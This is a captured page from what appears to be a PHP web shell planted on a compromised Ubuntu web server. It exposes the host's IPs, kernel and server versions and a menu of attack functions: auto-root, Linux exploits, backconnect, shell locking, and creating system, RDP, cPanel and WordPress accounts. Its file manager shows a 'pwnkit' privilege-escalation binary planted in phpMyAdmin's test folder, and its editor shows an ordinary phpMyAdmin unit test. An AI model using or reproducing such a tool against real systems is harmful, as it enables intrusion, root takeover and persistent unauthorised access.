Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.226.181.223
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
ForeignKeyTest.php
3.85
KB
-rw-r--r--
FormatConverterTest.php
3.45
KB
-rw-r--r--
GisTest.php
5.29
KB
-rw-r--r--
HttpRequestTest.php
6.92
KB
-rw-r--r--
SessionCacheTest.php
3.48
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GisTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Utils; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Tests\AbstractTestCase; use PhpMyAdmin\Tests\Stubs\DummyResult; use PhpMyAdmin\Utils\Gis; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use function hex2bin; #[CoversClass(Gis::class)] class GisTest extends AbstractTestCase { protected function setUp(): void { parent::setUp(); DatabaseInterface::$instance = $this->createDatabaseInterface(); } /** * @param string $expectedQuery The query to expect * @param mixed[] $returnData The data to return for fetchRow * @param bool $SRIDOption Use the SRID option or not * @param int $mysqlVersion The mysql version to return for getVersion */ #[DataProvider('providerConvertToWellKnownText')] public function testConvertToWellKnownText( string $expectedQuery, array $returnData, string $expectedResult, bool $SRIDOption, int $mysqlVersion, ): void { $resultStub = self::createMock(DummyResult::class); $dbi = $this->getMockBuilder(DatabaseInterface::class) ->disableOriginalConstructor() ->getMock(); $dbi->expects($SRIDOption ? self::once() : self::exactly(2)) ->method('getVersion') ->willReturn($mysqlVersion); $dbi->expects($SRIDOption ? self::once() : self::exactly(2)) ->method('tryQuery') ->with($expectedQuery) ->willReturn($resultStub);// Omit the real object $resultStub->expects($SRIDOption ? self::once() : self::exactly(2)) ->method('fetchRow') ->willReturn($returnData); DatabaseInterface::$instance = $dbi; if (! $SRIDOption) { // Also test default signature self::assertSame($expectedResult, Gis::convertToWellKnownText( (string) hex2bin('000000000101000000000000000000F03F000000000000F03F'), )); } self::assertSame($expectedResult, Gis::convertToWellKnownText( (string) hex2bin('000000000101000000000000000000F03F000000000000F03F'), $SRIDOption, )); } /** @return mixed[][] */ public static function providerConvertToWellKnownText(): array { return [ [ 'SELECT ASTEXT(x\'000000000101000000000000000000f03f000000000000f03f\')', ['POINT(1 1)'], 'POINT(1 1)', false, 50300, ], [ 'SELECT ASTEXT(x\'000000000101000000000000000000f03f000000000000f03f\'),' . ' SRID(x\'000000000101000000000000000000f03f000000000000f03f\')', ['POINT(1 1)', '0'], '\'POINT(1 1)\',0', true, 50300, ], [ 'SELECT ST_ASTEXT(x\'000000000101000000000000000000f03f000000000000f03f\')', ['POINT(1 1)'], 'POINT(1 1)', false, 50700, ], [ 'SELECT ST_ASTEXT(x\'000000000101000000000000000000f03f000000000000f03f\'),' . ' ST_SRID(x\'000000000101000000000000000000f03f000000000000f03f\')', ['POINT(1 1)', '0'], '\'POINT(1 1)\',0', true, 50700, ], [ 'SELECT ST_ASTEXT(x\'000000000101000000000000000000f03f000000000000f03f\', \'axis-order=long-lat\'),' . ' ST_SRID(x\'000000000101000000000000000000f03f000000000000f03f\')', ['POINT(1 1)', '0'], '\'POINT(1 1)\',0', true, 80001, ], [ 'SELECT ST_ASTEXT(x\'000000000101000000000000000000f03f000000000000f03f\'),' . ' ST_SRID(x\'000000000101000000000000000000f03f000000000000f03f\')', ['POINT(1 1)', '0'], '\'POINT(1 1)\',0', true, 50700, ], [ 'SELECT ST_ASTEXT(x\'000000000101000000000000000000f03f000000000000f03f\', \'axis-order=long-lat\')', ['POINT(1 1)', '0'], 'POINT(1 1)', false, 80001, ], [ 'SELECT ST_ASTEXT(x\'000000000101000000000000000000f03f000000000000f03f\')', ['POINT(1 1)', '0'], 'POINT(1 1)', false, 50700, ], ]; } public function testCreateDataOldMysql(): void { self::assertSame('abc', Gis::createData('abc', 50500)); self::assertSame('GeomFromText(\'POINT()\',10)', Gis::createData('\'POINT()\',10', 50500)); } public function testCreateDataNewMysql(): void { self::assertSame('abc', Gis::createData('abc', 50600)); self::assertSame('ST_GeomFromText(\'POINT()\',10)', Gis::createData('\'POINT()\',10', 50600)); } public function testGetFunctions(): void { $funcs = Gis::getFunctions(); self::assertArrayHasKey('Dimension', $funcs); self::assertArrayHasKey('GeometryType', $funcs); self::assertArrayHasKey('MBRDisjoint', $funcs); } }
Close